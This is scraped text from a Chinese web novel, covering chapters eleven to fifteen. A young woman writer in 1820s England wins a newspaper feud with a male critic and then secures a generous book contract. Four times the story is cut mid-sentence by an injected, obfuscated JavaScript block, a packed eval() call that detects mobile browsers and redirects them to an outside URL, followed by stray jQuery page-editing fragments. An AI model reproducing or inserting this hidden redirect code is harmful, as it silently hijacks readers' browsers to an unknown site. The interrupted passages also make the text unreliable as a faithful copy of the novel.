戴安娜背过手,报纸藏在身后,用几句话简单概括:“有个评论家对我的小说指指点点,我想回应,他就生气了。别人骂我,我骂回去,多合理的事,捂嘴是什么道理?”
贝琳达微笑:“杜赫,你不需要向我和卢卡斯先生证明你行为的合理性,你的编辑才是你说服的对象。”
戴安娜倒吸一口冷气。
对哦,她跟老古董较劲什么?从卢卡斯爵士给她签约那一刻起,他就限制不了她了。
新的精英怪是男编辑。
她豁然开朗:“谢谢妈妈,我悟了!”
她拿着报纸蹭蹭蹭上楼,针对那篇评论写出一篇驳斥,甩甩手,写信给约翰·当顿,让他务必找一个跟布莱克或者《每日新闻报》有过节的报社,将她的回复发表。
合约签了她的文章,没有签人,她可以在别的报纸上发表文章。
之所以拜托约翰·当顿,是因为她待在乡下不方便,人脉也不如他,再者,这对他有利。
《淑女通讯》的受众不过两三千人,再加上她文章吸引来的人,也不过五六千,《每日新闻报》呢?每日能卖出上万份。
高流量主动喊话低流量,这就是扶贫。
本来看不见犄角旮旯的小东西,那么个庞然大物一喊,上万人都得知道拉赫昂·希耶尔做了什么。
如果印象不够深,或者只是一笑置之,不足以让她们购买一份《淑女通讯》。
那她和评论家的骂战……咳咳,她的回应是不是可以起到出乎意料的效果呢?
仔细斟酌着,赶在夏洛特和玛利亚出门买菜前,拿着成果冲出房间。
“我要出门,等等我。”
姐妹俩驻足等待。
玛利亚打趣道:“我还以为你和椅子长在一起了,一辈子都不打算出门了。”
戴安娜双手合十:“亲爱的姐姐,我们可以先去梅丽顿的邮局,回来再去市集吗?”
家里不让她单独出门,市集和梅丽顿又不顺路,她必须征得她们的许可,好在姐姐都很好说话,愿意陪她先去寄信。
走在路上,玛利亚问她寄什么信,这么着急,戴安娜如实回复。
夏洛特和玛利亚对视一眼,玛利亚说:“我竟然不那么惊讶,经过那件事后,杜赫能做出什么都正常。”
“我的心态比不上你,”夏洛特感慨,下一句问戴安娜,“杜赫,你的目标不是成为大作家吗?为什么和一篇评论文章较劲?”
戴安娜挑眉:“瞧你这话,好似是我在挑事,先对别人吹毛求疵的是他。”
怎么每个人都在她被欺负了,她准备还手之前问
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15687419|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她为什么要还手?忍耐耳光成惯性了?好可怕。
“我以为你会更专注于小说事业,他发泄完情绪可能就不会再继续,你要是回击,这件事就没完了,吵架是一件相当耗费精神的事,你将很难专注于写作。”夏洛特解释。
玛利亚附和道:“是啊是啊,别冲动。”
戴安娜只犹豫了一瞬,望邮局一眼,神色坚定:“我还是想试试,洛蒂。”
不然念头不通达。
她出来时空着手,三人转身往回走,夏洛特说:“我很佩服你,杜赫,你是有精神有意志的人。”
那是她不具备的,正如杜赫所说,她是守序阵营的人,守序需要什么意志?守序只需老实。
这个阵营里又分为两种人,前者对世界的序深信不疑奉若圭臬,后者知晓世界不公,但力量微薄,不能反抗,只能遵循秩序让自己过得好一点。
夏洛特虽然是后者,但对前者一向没什么真心话可说,相反的,她对挑战秩序的妹妹交谈欲望旺盛。
算起来,她沉迷写作,她们很久没有深谈过了。
戴安娜有点不好意思,摸摸头,想说自己没有那么强,至今还没有克服怕鬼的弱点,经常写着写着,后背发凉瑟瑟发抖。
那还是夏天,都不知道冬天该怎么过。
而夏洛特不需要她的回答,她提出真正的核心问题。
“可是,精神和意志是有力量的吗?有多少?”
夏洛特以前看书就是看书,自从知晓妹妹写小说,便关心文学界的动向。
男人扎堆的地方是世界上最守旧封建的地方,文学界至今不承认作者里有女性,哪怕读者心知肚明在看女性的文章,他们的嘴仍然很硬。
夏洛特虽然不知道戴安娜回复的内容,但可以想象那必然惊世骇俗,在第一行就写上她是女性也不一定。
男作家男评论家男编辑群起而攻时,没有任何女人为她摇旗呐喊。
届时,杜赫该怎么办?
戴安娜下意识皱眉,抬头看夏洛特,对上她饱含忧虑的眼神,愣了下,旋即短促地笑了。
“洛蒂,这两样东西是有力量的,但是她们给人的增益不是加法而是乘法。”
当她是个名不见经传的乡下新人时,她的声音微不足道。
“就算编辑不愿帮忙,我的反击不能登上报刊也无所谓,倘若将来有一天,我能成为畅销书作家,我就会让你看到她们的力量。”
12.规则怪谈(十二)
不错,戴安娜的职业目标是成为畅销书作家。
考虑到所处时代和本人文笔,着实是相当有挑战性的目标。
时代改变不了,那就谈谈文笔吧。
她上辈子没写过小说,这辈子只写了四年,这方面硬伤很大。
迷茫时,特别后悔以前没买一本教人写作的书,导致现在只能拿着《弗兰肯斯坦》一遍又一遍看,研究玛丽·雪莱是怎么写小说的。
……顺便做一些仿写。
……仿写都写不出来就围绕着小说三要素——人物、情节、环境做写作练习。
她原以为这些她都忘记了,结果动动脑子还记得。
赞美语文老师!赞美义务教育!
她现在特别自信,男人能当畅销书作家,她也能。
除了太监,没什么职业是男人做得好,她做不好的。
独自坐在书桌前,她拿出法语语法里夹着的信,正是建议她“写刺激情绪的文字,而不是充满情绪的文字”的那封信。
看来看去,仔细品读。
真是金玉良言。
对照没发的稿子,越看越发觉问题很大,不免叹息,生出惰性和退意。
这么多,改起来好难,想扑到床上打滚,明天再改吧,反正也不急着发。
不行不行,戴安娜你怎能如此堕落?
想想钱,想想目标,想想高高在上指导自己如何写作的评论家。
火气蹭地一下窜起来,不想上床了,腰背挺直了,整个人精神头都不一样了。
迟早叫小人再也不敢对她指手画脚,不蒸馒头争口气。
今天肝完三篇旧稿,肝不完不做人了!
远在伦敦的当顿与戴安娜没有相似之处,他是个男人,这世界上没有任何一处地方会因为他的性别将他拒之门外。
但她们此时此刻的心态的确很像。
戴安娜想要上进,当顿也是。
他不想一直当季刊创办人,虽然他有别的生意和投资,但眼下报刊业如此发达,谁不想从中分一杯羹?
想不想发月刊,想不想发周刊,想不想发周刊还能卖出一万份?
他想啊,他天天在想,他朝思暮想。
但他想没用。
报纸的销量不在他,在供稿人,在稿件的质量,符合条件的可遇不可求,他所能做的就是挑选合适的编辑,放在合适的位置上。
吃女性创作这碗饭的人,若是编辑存有偏见,疏漏了优秀的稿件,那简直是本世纪最大的笑话。
戴安娜小姐因此进入他的视线。
规则怪谈是当之无愧的金点子,比起这个,当顿同样器重她,得知她专门写信给他,立刻拆开看,看着看着,轻松的表情变得严肃认真。
看完信,当顿久久保持一个姿势,一会之后,轻轻搁下,摘了眼镜,揉捏眉头。
送信过来的秘书好奇死了,信上到底写了什么?
“洛克先生。”他冷不丁叫秘书。
“是,先生。”
“你会觉得我小看了戴安娜小姐吗?”
洛克惊讶:“小看?不,先生,您怎么会这么想?我们给了戴安娜小姐最优厚的新人待遇,没有辱没她的才华。”
“嗯,一开始我也这么想,我在总编辑的位子上坐了很久,见过无数供稿人,有的怀抱着梦想,想成为作家,有的想多赚些英镑,噢,这没什么,英镑万岁,谁不为它着迷?”
“但您找的人不是她们。”
“太对了,我要找的是有热情的人,渴望将内心诉诸笔端的人,笔不会停下来的人。这世界上有的是天赋型作家,第一本就能扬名立万,更多的却是另一种,一直写、一直写,写着写着成为了作家。”
短暂的回忆后,当顿眼睛里带着笑意,朝洛克说。
“你一定想象不到她见我那天,大言不惭地保证她将来的作品量会超越笛福,那表情有多狂妄。”
洛克头一次听到这些细节,露出不可思议的表情。
他从未见过如此自信之人。
毕竟上班久了,没一会就调整好心态,“虽然狂妄,但这句话打动了您。”
“做这一行,可以没有家底,不能没有看人的眼光,我相信她就是我等待的人,现在我更加确信。”
说着,他将信递给洛克,洛克越看,眼睛瞪得越大。
“就布莱克的评论,她要发表回复?”
“这就吃惊了?我的朋友,下一页是具体内容,看看吧,那才叫大胆。”
洛克看完了,脑子里好像吹过名为戴安娜的狂风。
“您要按她说得做吗?”
“当然,你有什么想法?”
“您的名声会受到伤害。”
“我知道,但是人怎么能为了名声不赚钱呢?”
洛克一噎,又说:“戴安娜小姐,唉,她太高调了,她的家人就没有阻拦过吗?”
想起那对糊涂的父亲和执着的孩子,当顿忍俊不禁:“说不定卢卡斯爵士指望着我不去做这件事。”
他猜得很对,贝琳达就是这么劝卢卡斯爵士的,卢卡斯爵士一想也是,编辑总不能太乱来,初见时,当顿先生还阻止戴安娜取女性笔名来着。
可他没想到,戴安娜这么做,对报社有益。
谁都不是傻子,谁都知道《每日新闻报》如此之大的发行量,要是能蹭一下会有多大收获。
当顿自然想过。
然而他
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696979|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
们很少评价《淑女通讯》上的稿件,就算有,他的供稿人也没有那种勇气和反对意见公开打擂台。
现在,戴安娜小姐将机会摆在当顿面前。
不能放过。
他开始思考将这篇回复发在哪里。
伦敦公报?不行,没有熟人。
每周新闻?有熟人,但是上面全是国外新闻,不刊登书评。
泰晤士报……以他的地位和权威性,恐怕对这种事不会感兴趣。
“洛克先生,麻烦帮我准备马车,我要去一趟舰队街。”
坐在办公室里,事情不会有任何进展,必须行动起来。
戴安娜不知道他用了什么手段,她在周一的下午收到报社寄来的信,另附一份《星期日泰晤士报》,她便有预感,事情成了。
边走边扯掉火漆,展开信纸,跳过关于天气的讨论,看到那句幸不辱命,心头的大石终于落地,展开报纸看看成品,不一会便找到熟悉的文字。
“星期日泰晤士报?不是泰晤士报?”海伦垫着脚,扒着她的胳膊才能看到报纸的内容,戴安娜干脆递给她。
“不是,虽然名字像一点,但不是一家,前者是周报,每周两万多份,后者是日报,一天就能卖出五六万。”
数据是当顿信里写明的,她现学现卖。
海伦沉迷看报,没仔细听,随口道:“说不定以后就是一家人了。”
戴安娜弯下腰,凑过去看,过一会,期待地问:“发现什么亮点了吗?”
“有个怪人的文章第一行说了三遍她是女性。”
有点尴尬,她不死心,追问:“还有吗?你看下面附带一首十四行诗。”
“很怪,她好像想学斯宾塞十四行诗的韵律,但是好几句没押上,我看改掉这几句学莎士比亚的十四行诗比较好。”
吭哧一声,一把无形尖刀捅进心窝。
呵呵,下次她自创韵律,走自由派风格。
“不过,唱出来的感觉不错,诗的名字是‘少管我’,内容也是你会喜欢的。”她哼唱了两句。
姐妹俩边说边往屋里走,刚进门戴安娜就被黑脸的卢卡斯爵士叫进书房里。
戴安娜给她一个“又来了”的眼神,摆摆手让她自己玩,转身跟上卢卡斯爵士,海伦眨眨眼,拿着报纸上二楼。
给这首诗编个什么曲子好呢?
不管怎么说,今天是有意义的一天。
卢卡斯爵士被戴安娜的“少管我”攻击到直接躺平,嚷嚷着以后再也不管她了,而伦敦广大的读者却初次见到这种阵仗。
好奇也好,厌恶也罢,她成功蹭到《每日新闻报》的热度,小火了一把,将她的规则怪谈带上新人不该有的讨论高度上。
13.规则怪谈(十三)
19世纪初的伦敦是一座居住着两百多万人的繁华城市。
国王带头奢靡享乐,甚至在殙前欠下60万英镑的债务,议会将其一笔勾销之后仍然挥霍无度,底下的人不会太过分,但她们的日常娱乐也很丰富。
讨论时政、学习音乐、观赏绘画和雕塑作品、参加宴会、骑马射猎、品尝来自世界各地的美食……此类种种,只有多的,没有少的,只有想不到,没有做不到。
占比最少的人享受着种类繁多的娱乐,占比最多的人却只有一种娱乐。
看报。
认字的自己看,不认字的跟别人合看一份,有钱的买好几份,没钱的去街上的朗读大会,0.5便士就能有个座位。
实在没钱,小心点逃个票,别被人抓住打一顿。
普通居民都很喜欢看报。
就以裁缝为例,她一周能拿10先令,男裁缝跟她干一样的活却赚20先令。
男人赚钱就是容易啊。
不过杜克先生慊他拿钱多辞退了他之后,她的心态就平和多了。
2先令买2磅面粉,省着吃能吃一个月,衣服的花费更少,她可以直接买店里别人典当的二手衣服或者买布自己做,只要不结殙不养男孩,这日子还能过得去。
隔壁的男孩上学一周就要花3先令,真可怕。
没了那些多余的东西,手上不宽裕,但也不紧巴巴,可以攒一攒,花钱请个老师认字,隔三差五买报纸看看。
《每日新闻报》0.5便士一份,可以天天买,贵一点的也不怕。
每天和针线打交道十个小时,她无比渴望针线外的世界,新闻也好,丑闻也好,报纸也好,小说也好,只要能让她忘了一眼看得到头的以后,获得片刻的轻松就好。
星期日了,买一本《星期日泰晤士报》吧,反正一周只买一次,别人问你看什么,你说名字,一听和《泰晤士报》沾点边,一下子就有面子了。
忠实读者和偶尔看看的人翻开这周的《星期日泰晤士报》,粗略一扫,被署名拉赫昂·希耶尔的人拉住了视线。
主标题是少管我,副标题是对布莱克先生的回复,第一行表明她是女性的话说了三遍,本来就很抓人眼球,让人好奇她接下来要说什么。
看完之后明白事情的来龙去脉了,希耶尔在报纸上写了一篇规则怪谈,叫布莱克的评论家对她指指点点……好像确实有印象,是哪天的《每日新闻报》刊登的?
节约的阅读者买了报纸后每个版块都会看完,这样才不算浪费,在往期报纸中翻了翻便寻到正主,一看时间,难怪好找。
布莱克那篇《致希耶尔》是周三发的,“少管我”是周日呐喊出来的,间隔时间连一周都没有。
对照着看,很多疑惑就能解开,原来布莱克口口声声叫她“希耶尔先生”,所以她连说三遍她是女性,别叫她先生。
咦?她很生气,为什么?称呼女作者为先生的不在少数啊。
“故而,在接下来的论述中,我会以女士称呼布莱克,想来他也不会有意见。”
人们不约而同噗嗤一乐,或是摇摇头,都是老阅读者了,谁会看不出来这句话里的嘲讽。
叫一位先生“女士”,这可真是极大的羞辱。
再往下看就更有意思了,布莱克先生说你不能如何如何,希耶尔就表示布莱克女士我偏要如何如何。
布莱克叫她五句先生,她回过去十句女士。
最后她说。
“如果你对我叫你女士感到屈辱,这份屈辱乘以十就是我的感受。
“如果你觉得我不该为你对我的称呼而生气,那你也不该因为我对你的称呼而生气。
“如果你不愿意她人用这种言行对待你,你也不该用那种言行对待她。”
普通人不懂押韵不押韵,只觉得那首“少管我”特别易懂好记,一时间传唱开来,古板的老绅士一边看一边摇头,说她不成个女士的样子,男同行认定她在哗众取宠,另一些同行认为,与其在这种事上花费时间和精力,还不如专注于作品质量。
对了,说到作品,布莱克描述了一遍,希耶尔描述了一遍,正好勾起好奇心,那是怎样的作品?在哪家报社?
无论是《星期日泰晤士报》还是《每日新闻报》,都没有给对家宣传的意思,是以《淑女通讯》的名字不为众人所知。
但人又不傻,她们会打听,会沟通,总有人知道,卖报的小童工出手了,泛黄的挎包里装满报纸,挥着一份报纸在街上边跑边吆喝。
“拉赫昂·希耶尔的开山之作,快来看啊,全新题材!规则怪谈!”
朗博恩的起居室里,伊丽莎白复述着从舅母那里听来的话语,将伦敦的新闻分享给小伙伴们,表情兴奋,脸颊通红,拿出三份报纸,积极地塞给夏洛特、玛利亚和戴安娜。
“我特意让男仆买了这些报纸,一起看吧,拉赫昂是一位非常,”她想了半天没找到合适的措辞,勉强形容,“不一样的作家。”
“是吗?听上去很有趣。”夏洛特接过,意味不明地看戴安娜一眼。
戴安娜看似还坐在这,其实已经走了一会了。
好尴尬。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15709573|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她以为会晚一点从邻居嘴里听到自己的笔名,但大意了,忘记伊丽莎白的舅妈就在伦敦。
朗博恩招待好邻居的饭菜一向丰盛,而她更是每逢吃饭从未落后,现在她想跑。
“戴安娜,你不舒服吗?”
简不太能加入伊丽莎白和夏洛特的讨论,她听到拉赫昂的名字就会想到她带来的恐怖,刻意不去关注,眼神扫到坐立难安的戴安娜,担忧地问。
夏洛特和伊丽莎白看了过来。
“呃我,我就是……”
夏洛特见状了然,笑着对简和伊丽莎白解释:“戴安娜有点害怕。”
玛利亚赶紧跟了一句:“我作证,戴安娜晚上都不敢单独出卧室。”
伊丽莎白惋惜道:“那太可惜了,戴安娜,你不读一读这本小说就不能理解上面有多么匪夷所思的事,你能想象吗?世界上除了我们生活的地方还存在另一种空间,被神秘力量所操控,不过最吸引我的是只要能存活下来,就能获得神秘力量给予的奖励,我也好想要那些道具。”
夏洛特笑着问:“难道你做好冒险的准备了吗?”
伊丽莎白的两颗眼珠闪闪发亮,“我、我没有,等我再长高一点,应该就没问题了。”
简赶忙阻止:“别这么说,莉齐,我好怕祂今晚就出现带走你,我和妈妈都会伤心死的。”
“我不会离开你们的,就算祂真的带走我,我也会像海伦一样,拼命回到你们身边,”伊丽莎白认真说完,语气中带着点自己不能去冒险的遗憾,“海伦用傀儡之锁控制住诡异,对维拉伸出手的那一幕太有魅力了。”
她这辈子是没有冒险的机会了。
不知道拉赫昂女士准备写多久,虽然海伦希望能早日回到家人身边,但她私心想让海伦冒险得再久一点。
就好像她在代替她开拓世界。
有伊莉莎白开头,众人纷纷说起她们最喜欢的情节,说出喜欢的理由,知道对方的想法和自己一致都很激动,女仆数次探头探脑,以为小姐们要掀了起居室的屋顶,直到班纳特夫人喊着“放过她的神经”,她们的讨论声才小了些。
不知何时,戴安娜从“邻居提起自己笔名”的莫名尴尬中脱身,内心充满了喜悦。
这是她的读者朋友带给她的,她竖起耳朵,汲取优秀的意见,决定尽量满足她们,以此作为回报。
总之围观群众得到了快乐,绝望打工人找到逃避现实的好地方,三家报纸的销量都增长了,小童工多卖出几份报纸保住了工作。
唯有编辑格莱德大为恼火。
14.规则怪谈(十四)
固执傲慢的胖男人身体瘫在结实的实木椅子上喘息,像一摊烂泥冒泡泡,一口气上不来还会翻白眼。
“不知好歹,不知好歹……”他将报纸撕成碎纸,撒得遍地都是,咣当一声抽出抽屉,拿出信纸趴在桌上,顿了顿,肥肉夹着的眼缝闪烁着恶螙的光,羽毛笔和纸张摩擦发出吱吱吱的声响。
劳娜不知道二十年前举着鲜花的端正画师为什么会变成这个样子。
戴安娜也不知道她结下这样一门仇,唯一确定的是只要《每日新闻报》上出现骂她的文章,她就要提笔骂回去。
他说第二篇怪谈的设定不合理,女人上新娘学校就够了,不可能跟男人上一所学校,否则男人就会分心,中间应该隔一道帘子。
她说少管我,规则怪谈不是纪实文学。
追加,连载完懂了吧?故事发生在一所女校,他们没有完美扮演女性,不都触犯规则被杀了吗?
他说她作为作者不该赋予主角海伦智慧和力量,而且她太冷静了,事实上女性愚昧弱小,而且情绪化,他相信谜底的最后海伦会是一个男人。
她说你眼中看到的自己不是自己,别人看到的你不是你,你看到的别人才是你自己。
其实愚昧弱小,贪惏浅薄是你,容易情绪化的更是你!
她说这种小说毫无意义,从头看到尾,主角海伦都用一种过于理想的方式解决火烧眉毛的危机,一路上看似危险,实际上没有遭受真正的伤害,拉赫昂女士过于珍惜主角,不舍得让她受苦,也导致故事令人沉浸,主角却总面临怀疑。
她说苦难才是没有意义的,苦难俯拾皆是,女性不需要苦难叙事,看完了一群人抱着哭诉,哭完了继续受苦。她们需要看到努力、强大、胜利的女人及她的人生,更有希望的叙事。
真假重要吗?你能在现实中找到一个如书中男角色那般优秀的男人吗?找不到,为什么你不质疑她们?反而来质疑我?
是下意识向出色的男角色投降还是觉得我好欺负呢?
不管是什么理由,都打错主意了。
卢卡斯爵士担惊受怕。
戴安娜安慰他:“有什么好怕的?他们还能闯进家里一枪打死我?”
1790年,法国剧作家高尔日发表《妇女权利宣言》。
1792年,英国作家沃斯通克拉夫特发表《为女权辩护》。
现在都1829年了,说说又咋了?
卢卡斯爵士绝望闭眼。
……
这场旷日持久的对战里,戴安娜杀疯了,从一对一到一对多,她看谁不顺眼就骂谁,想骂啥就骂啥。
从秋天一直吵到第二年夏天,各个教会鸣钟,整座伦敦都被钟声环绕,象征着国王结束自己的一生。
批评的主力人员发表一篇文章,大意是说国王过世,他悲伤得笔都提不起来了,看在先王的面子,应该暂且停止争论。
乔治四世活着时没见他们多尊敬,他巡游都敢在路边嘲讽,死了之后忽然是好国王了。
说虽然他花钱如流水,但是他也对艺术的发展做出了卓越的贡献。
戴安娜从字缝里找到骄傲举起来的小白旗。
她明白,不是他们怕了,而是群众喜欢看她们掐架,报社便纵容,伦敦人民看烦了,争吵不能给报社提高销量时,报社就叫停了。
是的,这一次报社没有和文学界站在一起,他们赚疯了。
《星期日泰晤士报》的销量几乎垂直上升,《每日新闻报》的日销量直逼《泰晤士报》。
变化最大的是《淑女通讯》,有戴安娜的热度和读者“三个月更一次太反人性”的催促,趁着这股东风改版成功,从发行三千的季刊变成发行上万的月刊。
每个人都得到了想要的东西,国王过世给了他们体面退出战争的借口。
也行,天天跟这群初具人形的东西吵,她也累,夏洛特说的没错,吵架非常消耗人的精神。
七月中旬,国王去世后的一系列活动告一段落,当顿带着律师登门拜访,商谈规则怪谈的出版事项。
他将采用分册出版的模式,三个怪谈故事为一册,一册售价是1先令。
“啊?这么贵?”戴安娜脱口而出。
她写了13个怪谈故事,4册合在一起,整本书就4先令了。
虽然比她省吃俭用买下来的《弗兰肯斯坦》便宜,但比大多数图书还是贵。
卢卡斯爵士瞪她一眼,为了4先令吃惊成这个样子太丢人了。
戴安娜心里不服气,视金钱如粪土也没见他多给她点零花钱。
当顿笑了起来,合作对象心思浅,藏不住话,总比心思深沉,说话拐弯抹角要好。
他由衷希望世界上所有人都像戴安娜小姐一样。
“不算贵了,戴安娜小姐,不要小看你带来的影响。”他给她解围。
戴安娜对他的说辞将信将疑。
等看到合同上写明的出版稿费后,她什么怀疑都没有了。
270英镑,真是大手笔。
够她们一家生活一年,是一位女仆27年的年薪,存入银行的年利息又是玛姬一年的工资。
有如此的诚意,再签下一本书的连载合同就是理所当然的。
卢卡斯爵士震惊到说不出话,盯着戴安娜,好像第一天认识这个孩子。
戴安娜没注意,仍然与当顿交谈。
“先生,你会为小说插图吗?”
“恐怕不会,我想象不出有任何一个画师能匹配你的奇思妙想。”
“那你要不要看看我的画?”
当顿露出进门以来第一个惊讶的表情:“你会画画?”
戴安娜微抬下巴,嘴里说着谦虚的话:“略懂略懂,你等着,我去拿。”
她风风火火地跑了。
卢卡斯爵士尴尬地看向当顿:“这孩子的礼仪……”
当顿面不改色:“我的安娜十五了,平常也不爱行礼,这没什么。”
卢卡斯爵士讪笑:“哈哈哈,那就好那就好。”
当顿矜持地勾起嘴角,比起爵士家庭的孩子行不行蹲礼,他更在意戴安娜的绘画水平。
顺带在乎一下戴安娜的父亲卢卡斯爵士。
“您有什么疑虑吗?不介意的话可以跟我说说,没关系的。”
卢卡斯爵士知晓自己被看穿了,面上有些难为情,当顿平和的态度挽救了他。
他犹豫片刻,说:“事实上,我对出版业也有些了解,据我所知,很多作家第一本书的稿酬在30到50英镑之间,即便是成名之后,能得到120英镑左右也很难得,毕竟有些人写三四本书才能赚100英镑。我不理解,你怎么会给出如此令人震惊的数字。”
当顿缓缓摇头:“不一样,卢卡斯爵士,我的报纸改版成功离不开众人的努力,戴安娜小姐是出力最大的一个。”
“那100英镑不就够了吗?”卢卡斯爵士不能理解。
当顿好像听到什么傻话,不厚道地笑了,这当然是个错误,他不能让卢卡斯爵士从这个笑容里品出嘲讽的意思。
他立刻开口:“卢卡斯爵士,我假设你知道戴安娜小姐这段时间的所作所为。”
“是,我知道,她很出格,可我……”
当顿继续说:“好的文学不分性别,文学创作者却是有性别的,她们拿到的稿费各不相同。”
“你的意思是,难道说,”卢卡斯爵士有点语无伦次,眼睛因为吃惊越瞪越大,“你原本想给她符合女性作家的稿酬,但看到她的作为之后改变了想法?为什么?请别怪我,你怕她?”
他更不能理解了,不应该是作家畏惧出版社和报社吗?她们怎么反过来了?
当顿叹气,卢卡斯爵士实在不怎么聪明,离开城市回乡下置办一分产业真是正确理智的选择。
可没办法,谁让人家有个好孩子,他还指望着卢卡斯爵士能旁敲侧击,在戴安娜小姐耳边说说好话,也希望他能看清楚形势,不要制止她签约,埋没她的才华。
“卢卡斯爵士,您很清楚不是吗?自从规则怪谈成名之后,一直有报社联络戴安娜小姐。”
她为《淑女通讯》带来的销量足以令伦敦八成的报社忮愱愤恨,当顿能不知道那些人吗?
表面不在意,实际上迫切地想挖走这棵摇钱树,种在自家的土壤里。
这也是当顿绝不能允许的,他的报纸改版不久,根基不稳,购买者没有习惯一个月买一次《淑女通讯》,他不能在这种时候给戴安娜不公正待遇。
对别人区别对待,她会忍,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15725584|172276||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
看那个每天被戴安娜气得翻白眼的编辑就知道,戴安娜绝不会忍,这样做只会激怒她。
紧接着失去她,也失去喜爱戴安娜的读者,令报纸的销量一落千丈。
他的竞争者们会嘲笑他,愚蠢的约翰,还是回去做季刊吧,月刊的水太深了。
太可怕了。
比起那种后果,还是老老实实给她应得的报酬比较好,她还这么小,说不定能合作好多年,迎来下一次改版。
他要让戴安娜小姐知道,外面的都是旅馆,只有《淑女通讯》是她真正的家。
谁说这270英镑不值的?
当顿及时止住话头,书房门虚掩着,戴安娜小姐的脚步声快速靠近。
这是个正确的决定,两秒之后戴安娜就推门而入。
他松了口气,刚才的话题可不适合让这位格外在意自己女性身份的小作家听到。
合格的商人该掌握回避争端的技巧,也该知道什么话不能对某些人说。
他敢肯定,要是拿“给她应得的待遇”这件事邀功,反而会惹来她的厌恶。
戴安娜兴冲冲地进门,脚步忽然顿了顿,当顿和律师在沙发上端庄地坐着,很正常,倒是威廉先生,怎么还在那宇宙升华?
她赚270英镑,他就那么难以置信?
好吧,她也头重脚轻像做梦一样,但正事重要。
她稳定心态,回到卢卡斯爵士身边坐下,将一沓画纸递到对面,心里紧张,眼神期待。
她毕业之后两年里炒了三个老板,要不是有画画这门手艺撑着,早就没法过了。
饿不死人,也不能致富,不上不下的水平。
她看过不少这个时代的插画,与她的画风截然不同,她拿不准是不是能被市场接受。
没有赚钱的榜样,更不敢往里面走,思来想去,还是选择更流行的写作。
不过她也没有放弃画画,闲时还会画上两笔,就像课堂上,老师在上面讲,她在课本空白处画一个猫头。
是伊丽莎白的一句话,让她生出给自己小说插画的念头,然后愈发不可收拾。
故而问问当顿能不能接受。
当顿接过,飞快扫了一眼,挑眉:“这可比你的稿纸要好多啦。”
戴安娜:“……”
好家伙,阴阳她对小说和画画资源分配不均是吧。
她百口莫辩。
好在当顿不是抓着一点穷追不舍的人,刚才只是开个玩笑。
他静下心看手里的画,当场身体后仰。
“怎么样?”戴安娜紧张地问。
“戴安娜小姐,我自诩涉猎甚广,对画界有几分了解,还参加过很多关于绘画的沙龙,还是没分辨出你的画属于什么流派。”
当顿亮出其中一幅给她看。
“这是海伦写信的画面,可她的鼻子呢?噢我的老天啊,难道是那个三角和阴影吗?”
不确定,再看看。
戴安娜声音虚弱:“要不,还给我?”
“不不不,”当顿连声阻止,一张张翻下来,眼睛里闪烁着不一样的神采,嘴里嘟囔着,“别轻易放弃,说不定这些画会产生让我们都很意外的效果,我可以带回去吗?”
戴安娜答应了。
当顿问清楚她画了多少张,掌握了全部的情况,恢复游刃有余的模样。
“或许可以分别印刷两个版本,但请见谅,有插画的版本第一次不会印太多,由于印刷成本的缘故,定价也会上涨。”
戴安娜忙不迭点头:“我懂我懂。”
最后再确认一遍合同,双方都认为没有问题,当顿便告辞了。
身为主人,理应将他送上马车,但门一打开,一阵凉风吹进来,雨噼里啪啦摔下的声音不绝于耳。
当顿谢绝卢卡斯夫人和戴安娜的送行,只由卢卡斯爵士举着雨伞送他穿过院子。
这也不是不得体的行为,雨伞和绅士有着紧密的捆绑关系。
“站在你的立场,我大概能理解你的做法,可是你有没有想过另一种可能,万一别的女作家也要求一样的待遇该怎么办?”卢卡斯爵士提出这个他想了又想的问题。
当顿的手已经扶上车门,闻言,停下动作,转过身来,笑道:“没那么简单的,卢卡斯爵士。”
15.规则怪谈(十五)
人生,易如反掌。
戴安娜没去管卢卡斯爵士和当顿说了什么,她扑到贝琳达的腿上,展开崭新的10英镑纸钞。
“妈妈,看看看!”
“看到了,那么杜赫,你想要办理什么业务呢?”
那么大只的戴安娜往她腿上一趴,她也缝不了围裙,将针线放到旁边,无奈地看着她。
